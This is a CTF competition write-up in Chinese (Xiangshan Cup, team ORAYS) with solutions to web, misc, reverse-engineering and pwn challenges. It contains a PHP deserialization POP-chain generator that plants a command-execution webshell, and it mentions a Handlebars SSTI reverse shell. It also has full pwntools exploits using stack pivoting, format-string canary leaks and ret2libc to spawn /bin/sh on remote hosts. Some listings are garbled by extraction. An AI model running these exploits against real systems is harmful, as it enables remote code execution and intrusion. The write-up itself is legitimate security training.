# 香山杯 ORAYS WriteUp

## Web

# PHP\_unserialize\_pro

```
1 <?php
 2
       error_reporting(0);
       class Welcome{
 3
           public $name;
 4
           public $arg = 'welcome';
 5
           public function __construct(){
 6
 7
                $this->name = 'Wh0 4m I?';
 8
           public function __destruct(){
9
                if($this->name == 'A_G00d_H4ck3r'){
10
11
                    echo $this->arg;
12
                }
           }
13
       }
14
15
       class G00d{
16
17
           public $shell;
           public $cmd;
18
           public function __invoke(){
19
                $shell = $this->shell;
20
                $cmd = $this->cmd;
21
                if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
22
                    die("U R A BAD GUY");
23
24
                }
                eval($shell($cmd));
25
           }
26
27
       }
28
29
       class H4ck3r{
           public $func;
30
           public function __toString(){
31
32
                $function = $this->func;
                $function();
33
           }
34
35
       }
36
```

```
37    if(isset($_GET['data']))
38         unserialize($_GET['data']);
39     else
40         highlight_file(__FILE__);
41    ?>
```

```
1 <?php
       class Welcome{
 2
           public $name;
 3
 4
           public $arg;
 5
           public function __construct($name, $arg){
                $this->name = $name;
 6
               $this -> arg = $arg;
 7
 8
           }
       }
 9
10
       class G00d{
11
           public $shell;
12
           public $cmd;
13
14
           public function __construct($cmd, $shell) {
15
                $this -> cmd = $cmd;
16
               $this -> shell = $shell;
17
           }
18
       }
19
20
21
     class H4ck3r{
           public $func;
22
           public function __construct($func) {
23
               $this -> func = $func;
24
25
           }
       }
26
27
28 $c = new G00d("system(\$_POST['cmd']);", "assert");
29 b = \text{new H4ck3r($c)};
30 $a = new Welcome("A_G00d_H4ck3r", $b);
31 echo serialize($a)."\n";
```

# mewo\_blog

WAF上存在pp

https://github.com/kobezzza/Collection/issues/27

限制还是数组过

#### 先要越权,然后改style SSTI就行

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#handlebars---command-execution

```
1 app_1 | Handlebars: Access has been denied to resolve the property "style"
  because it is not an "own property" of its parent.
2 app_1 | You can add a runtime option to disable the check or this warning:
3 app_1 | See https://handlebarsjs.com/api-reference/runtime-
  options.html#options-to-control-prototype-access for details
```

### 可以 pp arguments + dynamic import

#### Payload:

### 反弹出来catflag就行了

## Misc

### 签到

base64 + 凯撒

## pintu

统计一下图片的高度,发现有40,60,61,62,63,64,65,66,67,70,71

跳过了68和69,结合提示8->10,联想到是8进制

统计一下高度输出

```
1
2 from PIL import Image
3
4 count = 0
5 a = []
6 for i in range(1,4704):
7    img = Image.open("./pintu/{}.png".format(i))
8    width,height=img.size
9    a.append(chr(int(str(height),8)))
10 print("".join(a))
```

#### 再base32解密得到一串base64,但明显解密不了



9EeciMXrMKQJ97nvQknrKw5yQI82nG7SIMPU1VPCib4K1GabiM4dIg4w3rQC3BKXnG00tM0EM05xIy1mKc0TJ7u7MVxNtG0t3baQXyowENeyE
w11CB4rnVXAQbxwCrKp3GaAir7VIVnAtNaS374TJb12mGK/tcoGtEnuirKaMwVkjBVpEw4l3u8wXEn11VKPdKS69b8PnN4HJk2qEVQ0iIdwKB
4aib4vJNQ4mkR537a/tbaPQWe/J/QIXr4ztg57IE5qM/shIGXSi01KjW4AIuDPnMkZlg3p1E569MZwAN5FjIXMnckVKM4FtHK7QwJdn0o7iE5
XJNQf1c4IjB0Niy07igXHKB3Tjb1PEkK6IbR1M5ae9MxZjIeFXV7JJkP8JrnxX59VJS8kb0Ij5blkmb9qMt85JGX03E5FKJ5EnN4hEu7M3Mm
CIRaXk7V37083/4Bd091XWlo3KU4189MKcSoL6R6Xc16nk8b3G971VR8dMSJUdM557u1ML707MI7cd6so1r5k9Eaa1T5/11R71b3Y9b5w1E9K


#### 回过来考虑图片还有黑白像素,提取

```
2 from PIL import Image
 3
 4 \text{ count} = 0
 5 res = ""
 6 \ a = []
 7
   for i in range(1,4704):
 8
        img = Image.open("./pintu/{}.png".format(i))
       width, height=img.size
 9
10
        tmp = img.getpixel((0,0))
       if(tmp == (0,0,0)):
11
            res += "0"
12
        elif(tmp == (255,255,255)):
13
            res += "1"
14
        a.append(chr(int(str(height),8)))
15
16
17 print(res)
```


### 长度不是8的倍数,但是4703+1是8的倍数,考虑补一个前导0



长度为64,且不重复,明显是字符表



### 得到png



npiet

# Welcome to <u>npiet online</u>!

Info: upload status: 0k
Info: found picture width=76 height=20 and codel size=1
Uploaded picture (shown with a small border): **1.png** 



Info: executing: npiet -w -e 220000 l.png

 $f1ag\{4b6c1737-27e5-41c4-95e3-f70ad196063e\}$ 


run again!

hack to opiet online - tru again !

### Reverse

# URL从哪儿来


用resource hacker把资源dump下来




#### 写个脚本解密一下资源

```
1 with open('E_OU101', 'rb') as f:
2
      s = f.read()
3
      s = bytearray(s)
4
      for i in range(len(s)):
5
           if s[i] != 120 and s[i]!=0:
               s[i] = s[i] ^ 0x78
6
      with open('ou.exe', 'wb') as ff:
7
8
           ff.write(s)
9
```

动调 ou.exe ,这里打个断点



#### 拿到flag



# hello\_py

解压assets/app.imy,得到python源码



```
1 from java import jboolean ,jclass #line:1
2 import struct #line:3
3 import ctypes #line:4
0000000000000000 = (000000000000000 .value >> 5 ^00000000000000000 .value
 <<2 )+(000000000000000000 .value >>3 ^00000000000000 .value <<4 )#line:8
    0000000000000000 = (0000000000000000 .value ^00000000000000 .value )+
 ]^00000000000000000 .value )#line:9
    7
9
    00000000000000000 = 0x9e3779b9 #line:15
    00000000000000000 =6 +52 //00000000000000 #line:16
10
    00000000000000000 = ctypes .c_uint32 (0 ) #line:18
11
12
    -1 1) #line:19
    00000000000000000 = ctypes .c_uint32 (0 )#line:20
13
    while 00000000000000000 >0 :#line:22
14
      0000000000000000 .value +=000000000000000 #line:23
15
      00000000000000000 .value =(0000000000000000 .value >>2 )&3 #line:24
16
      for 00000000000000000 in range (000000000000000 -1):#line:25
17
        18
 [00000000000000000 +1 ]) #line:26
19
        0000000000000000 [000000000000000 ]=ctypes .c_uint32
  ,0000000000000000000000 ).value ).value #line:27
20
        0000000000000000 .value =000000000000000 [00000000000000000
 ]#line:28
21
      0000000000000000 = ctypes .c_uint32 (000000000000000 [0 ]) #line:29
      22
 ,000000000000000000 ).value ).value #line:30
      23
 ]#line:31
      0000000000000000 -=1 #line:32
24
   return 0000000000000000 #line:34
25
26
28
29
    30
      return jboolean (False )#line:67
31
32
    0000000000000000 =[]#line:69
```

```
33
     for 0000000000000000 in range (0 ,36 ,4 ):#line:70
34
        :00000000000000000 +4 ].encode ('latin-1')#line:71
        0000000000000000 .append (000000000000000 )#line:72
35
     _0000000000000000 =[]#line:73
36
     37
        000000000000000 .append (struct .unpack ("<I",00000000000000000) [0
38
  ]) #line:75
39
     print (_000000000000000 )#line:77
     00000000000000 = encrypt (9 ,_00000000000000 ,[12345678 ,12398712
40
  ,91283904 ,12378192 ])#line:78
     41
  ,1869189675 ,475967424 ,1932042439 ,1280104741 ,2808893494 ]#line:85
     for 00000000000000000 in range (9):#line:86
42
        43
  [0000000000000000]:#line:87
44
           return jboolean (False )#line:88
45
     return jboolean (True )#line:90
46 def sayHello ():#line:92
     print ("hello from py")#line:93
47
48
```

### exp如下

```
1 from ctypes import *
 2
 3
 4 def MX(z, y, total, key, p, e):
       temp1 = (z.value >> 5 ^ y.value << 2) + (y.value >> 3 ^ z.value << 4)
 5
 6
       temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)
 7
 8
       return c_uint32(temp1 ^ temp2)
 9
10 def decrypt(n, v, key):
       delta = 0x9e3779b9
11
       rounds = 6 + 52 // n
12
13
       total = c_uint32(rounds * delta)
14
15
       y = c_uint32(v[0])
       e = c_uint32(0)
16
17
       while rounds > 0:
18
           e.value = (total.value >> 2) & 3
19
           for p in range(n - 1, 0, -1):
20
               z = c_uint32(v[p - 1])
21
```

```
v[p] = c_uint32((v[p] - MX(z, y, total, key, p, e).value)).value
22
               y.value = v[p]
23
           z = c_uint32(v[n - 1])
24
           v[0] = c_uint32(v[0] - MX(z, y, total, key, 0, e).value).value
25
           y.value = v[0]
26
           total.value -= delta
27
           rounds -= 1
28
29
30
       return v
31
32
33 # test
34 if __name__ == "__main__":
     v = [689085350 ,626885696 ,1894439255 ,1204672445 ,1869189675 ,475967424
35
   ,1932042439 ,1280104741 ,2808893494]
36
       k = [12345678, 12398712, 91283904, 12378192]
       n = 9
37
38
       res = decrypt(n, v, k)
39
       res = [num.to_bytes(4,'little').decode() for num in res]
       print(''.join(res))
40
41
```

# nesting

这是一道vm类的题

首先为vm创建一个结构体

```
1 struct vm{
2    char op[0x300];
3    char mem[0xd00];
4    char stack[0x200];
5    char eip;
6    char reg[10];
7 }
```

通过动态调试,比如第一次输入 b234567890123456789012345678901234567890 得到

```
◯ Hex View-1
                                                                                                                  0000561365CF2970
               00 00 00 00 00 00 00 00
                                       00 00 00 00 00 00 00 00
0000561365CF2980
                00 00 00 00 00 00 00 00
                                       00 00 00 00 00 00 00 00
0000561365CF2990
               99 99 99 99 99 99 99
                                       99 99 99 99 99 99 99
0000561365CF29A0
                99 99 99 99 99 99 99
                                       99 99 99 99 99 99 99
0000561365CF29B0
                36 C4 C1 33 CE 32 32 36
                                       64 63 F8 7C 75 3E 26 37
0000561365CF29C0
               34 00 99 8B F6 76 C9 88
                                       36 72 1B A2 54 A8 04 7D
0000561365CF29D0
                79 24 F1 21 3E 59 3F D1
                                       87 00 00 00 00 00 00 00
0000561365CF29F0 00 00 00 00 00 00 00 00
                                       00 00 00 00 00 00 00 00
0000561365CF29F0 00 00 00 00 00 00 00 00
                                       00 00 00 00 00 00 00 00
0000561365CF2A00
               99 99 99 99 99 99 99
                                       99 99 99 99 99 99 99
00 00 00 00 00 00 00 00
0000561365CF2A20 00 00 00 00 00 00 00 00
                                       00 00 00 00 00 00 00 00
0000561365CF2A30
               00 00 00 00 00 00 00 00
                                       00 00 00 00 00 00 00 00
```

第二次输入 a234567890123456789012345678901234567890 得到

```
Mex View-1
                                                                                             0000564C2C939960 00 00 00 00 00 00 00 00
                               00 00 00 00 00 00 00 00
0000564020939970
             00 00 00 00 00 00 00 00
                                00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
0000564020939990 00 00 00 00 00 00 00 00
                               00 00 00 00 00 00 00 00
0000561020030000
             99 99 99 99 99 99 99
                                00 00 00 00 00 00 00 00
0000564C2C9399B0 35 C4 C1 33 CE 32 32 36
                                64 63 F8 7C 75 3E 26 37
0000564C2C9399C0
             34 00 99 8B F6 76 C9 88
                                36 72 1B A2 54 A8 04 7D
                                                   4.....6r..T...}
0000564C2C9399D0 79 24 F1 21 3F 59 3F D1
                                87 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
0000564C2C9399F0
            00 00 00 00 00 00 00 00
                                00 00 00 00 00 00 00 00
0000564C2C939A00 00 00 00 00 00 00 00 00
                               00 00 00 00 00 00 00 00
UNKNOWN 0000564C2C9399BF: [heap]:0000564C2C9399BF
```

可以发现仅仅有一位发生了变化,那么这说明我们的输入是逐位加密的

在异或这个地方打个断点,现在我们输入

c234567890123456789012345678901234567890

```
.text:0000557B73DD9B08 movzx
                                 ecx, dl
.text:0000557B73DD9B0B
                                 ax, [rbp+
                                 edx, eax
 .text:0000557B73DD9B0F
                                               [rbp+var_2]=[[stack]:00007FFED88EF4DE]
                                 rax, [rbp+var
.text:0000557B73DD9B11 mov
                                                                    63h
.text:0000557B73DD9B15
                        movsxd
                                 rcx, ecx
                                                                db
                                 rcx, 900h
.text:0000557B73DD9B18
                        add
                                                                    10h
                                                                db
.text:0000557B73DD9B1F
                                 [rax+rcx*2+6]
                        mov
                                                                   0F5h
                                                                db
.text:0000557B73DD9B24
                        mov
                                 rax, [rbp+var
                                                                db
                                                                    8Eh
 .text:0000557B73DD9B28
                        movzx
                                 eax, word ptr
                                                                db
                                                                   0D8h
                                 edx, [rax+3] rax, [rbp+var
 .text:0000557B73DD9B2F
                         1ea
                                                                db OFFh
.text:0000557B73DD9B32 mov
                                                                db
                                                                     7Fh
                                  [rax+1200h],
.text:0000557B73DD9B36 mov
                                                                db
                                                                       0
.text:0000557B73DD9B3D jmp Toc_557B73DDA
                                                                db
                                                                       0
```

可以发现这里第一个异或的值就是我们的输入的第一位


```
.text:000055/B/3DD9B08 movzx ecx, dl
.text:0000557B73DD9B0B xor ax, [rbp+var_2]
.text:0000557B73DD9B0F mov edx, eax
.text:0000557B73DD9B11 mov ra;ax=0000000000000054
.text:0000557B73DD9B15 movsxd rcx, ecx
```

加密完成后,第一位的值是0x37,而且有 hex(ord('c')^0x54)=0x37

#### 所以可以知道输入仅仅是经历了异或加密

#### 写个IDA trace脚本把这个异或的值打印出来

```
1 import idc
2 import ida_bytes
3
4 print(f"{idc.get_reg_value('RAX')},",end='')
```



经过动调发现前两位不是异或的数,后面每隔一位才是与输入进行异或的数

随后就是需要找到最终要比较的数组,通过将0x54与前缀flag的第一位f异或,可以得到字符2,通过在内存中搜索,找到最后比较的数组在这个位置

```
0000557B7485BC60
                 E4 FA 07 6F B5 CE D0 FC
                                         06 68 A4 F8 DE 11 A3 6D
                                                                 ...o....h....m
                                                                  2.....tG......
0000557B7485BC70 32 A1 FB 95 C9 FD 74 47
                                         0B B2 F4 EC 6A 7F E8 50
0000557B7485BC80 ED 7D 69 7A 98 70 A0 60
                                         CD 9B 85 71 EF 6E 5D 27
                                                                  ...z.p.`...q...'
                                         83 FF BE 5F 77 54 EB 3E
0000557B7485BC90 91 D3 D9 1F 1C 64 97 7B
                                                                  .....d.{... wT..
0000557B7485BCA0 44 F6 A7 F1 B0 46 DB 29
                                         BC 78 63 28 33 30 7C 82
                                                                  D....F...xc(30).
0000557B7485BCB0 49 6E 70 75 74 20 79 6F 75 72 20 66 6C 61 67 3A
                                                                  Input.your.flag:
                                                                  TrueNope2....6f9
0000557B7485BCC0 54 72 75 65 4E 6F 70 65
                                         32 9A 93 60 80 36 66 39
0000557B7485BCD0 3E 63 F0 7D 24 27 75 37
                                         37 00 8D 8A F6 21 9E 91
                                                                  >c....u77.....
0000557B7485BCE0 62 73 1D AC 40 AF 05 7E
                                         2B 72 FC 74 68 00 67 87
                                                                  bs..@..~+r.th.g.
0000557B7485BCF0 E8 08 00 00 00 00 00 00
                                         00 00 00 00 00 00 00
0000557B7485BD00
                 00 00 00 00 00 00 00
                                         00 00 00 00 00 00 00 00
```

```
1 xor =
    [84,51,246,51,242,51,7,51,251,51,4,51,5,51,14,51,93,51,83,51,201,51,78,51,70,51
    ,10,51,19,51,1,51,3,51,56,51,160,51,187,51,199,51,68,51,250,51,188,51,3,51,68,5
    1,44,51,154,51,109,51,152,51,53,51,79,51,74,51,16,51,196,51,23,51,9,51,97,51,6,
    51,225,51,141,51,117,51,198,51,93,51,130,51,31,51,51,51,217,51,127,51,153,51,16
    2,50,360]
2 a = [0x32, 0x9A, 0x93, 0x60, 0x80, 0x36, 0x66, 0x39, 0x3E, 0x63, 0xF0, 0x7D,
    0x24, 0x27, 0x75, 0x37, 0x37, 0x00, 0x8D, 0x8A, 0xF6, 0x21, 0x9E, 0x91, 0x62,
    0x73, 0x1D, 0xAC, 0x40, 0xAF, 0x05, 0x7E, 0x2B, 0x72, 0xFC, 0x74, 0x68, 0x00,
    0x67, 0x87, 0xE8, 0x08]
3 for i in range(len(a)):
    print(chr(a[i]^xor[2*i]),end='')
```

### Pwn

### Moved

栈迁移模板题

```
1 from pwn import*
2 # p = process("./pwn")
3 p = remote("101.201.35.76", 27431)
4 # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
5 libc = ELF("./libc-2.27.so")
6 \text{ bss} = 0x405000
7 \text{ ret} = 0x40124c
8 \text{ read\_rbp} = 0x401230
9 puts plt = 0x401080
10 puts_got = 0x404018
11 \text{ rdi} = 0 \times 401353
12 leave_ret = 0x40124b
13 p.recv()
14 p.send(b'a'*0x20)
15 p.recv()
16 p.send(p32(0x12345678))
17 p.recv()
18 payload = b'a'*0x30 + p64(bss) + p64(read_rbp)
19 p.send(payload)
20 # gdb.attach(p)
21 payload = p64(bss) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(read_rbp)
   + b'a'*0x8 + p64(bss-0x30) + p64(leave_ret)
```

```
p.send(payload)

23

24 libc_base = u64(p.recv(6).ljust(8,b'\0')) - libc.symbols["puts"]

25 print(hex(libc_base))

26 system = libc_base + libc.symbols["system"]

27 str_bin_sh = libc_base + libc.search(b"/bin/sh").__next__()

28 # gdb.attach(p)

29 payload = b'a'*0x20 + p64(rdi) + p64(str_bin_sh) + p64(system)

30 p.send(payload)

31 p.interactive()
```

### **Pwthon**

在app.cpython-37m-x86\_64-linux-gnu.so里面发现\_\_pyx\_f\_3app\_Welcome2Pwnthon是直接运行之后选择0后出现的函数,里面给了一个地址,一个格式化字符串漏洞和一个栈溢出,格式化禁了\$。

看汇编发现这个地址是\_\_pyx\_f\_3app\_get\_info的地址,可以通过这个得到题目给出的这个库的base。在栈溢出处泄露libc,发现libc版本为2.27-3ubuntu1.5\_amd64,跟上一题一样。此外发现libcbase和前面泄露的base固定差0xf2a000。因此再在栈溢出处搞ret2libc即可。

```
1 from pwn import*
   2 p = remote("47.93.188.210",16282)
   3 libc = ELF("./libc-2.27.so")
   4 # p = process("python3 ./main.py")
   5 p.recv()
  6 p.sendline("0")
  7 p.recvuntil("0x")
  8 base = int(p.recv(12), 16) - 0x68b0
  9 print(hex(base))
10 puts_plt = base + 0x3710
11 puts_got = base + 0x16078
12 ret = base + 0x301a
13 \text{ rdi} = \text{base} + 0x3f8f
14 \text{ rsi} = \text{base} + 0x3cd9
15 \text{ str} = \text{base} + 0x137e8
16 libc_base = base + 0xf2a000
17 system = libc_base + libc.symbols["system"]
18 puts = libc_base + libc.symbols["puts"]
19 str_bin_sh = libc_base + libc.search(b"/bin/sh").__next__()
20 payload = b" %p %p
          21 # payload = b"%6$llx"F2A
22  # payload =
          b'.%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16
```

```
lx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16
   llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%16llx..%1
   6llx..%16llx..%16llx.'
23 p.sendline(payload)
24 p.recvuntil("tt0x")
25 kanaria = int(p.recv(16),16)
26 print(hex(kanaria))
27 payload = b'a'*0x108 + p64(kanaria) + b'a'*8 + p64(ret) + p64(rdi) +
   p64(str_bin_sh) + p64(system)
28 p.sendline(payload)
29 p.recv()
30 p.recv()
31 # p.recv()
32 # libc_base = u64(p.recv(6).ljust(8,b'\0')) - libc.symbols["puts"]
33 # print(hex(libc_base))
34 # print(hex(libc_base - base))
35 p.interactive()
36
```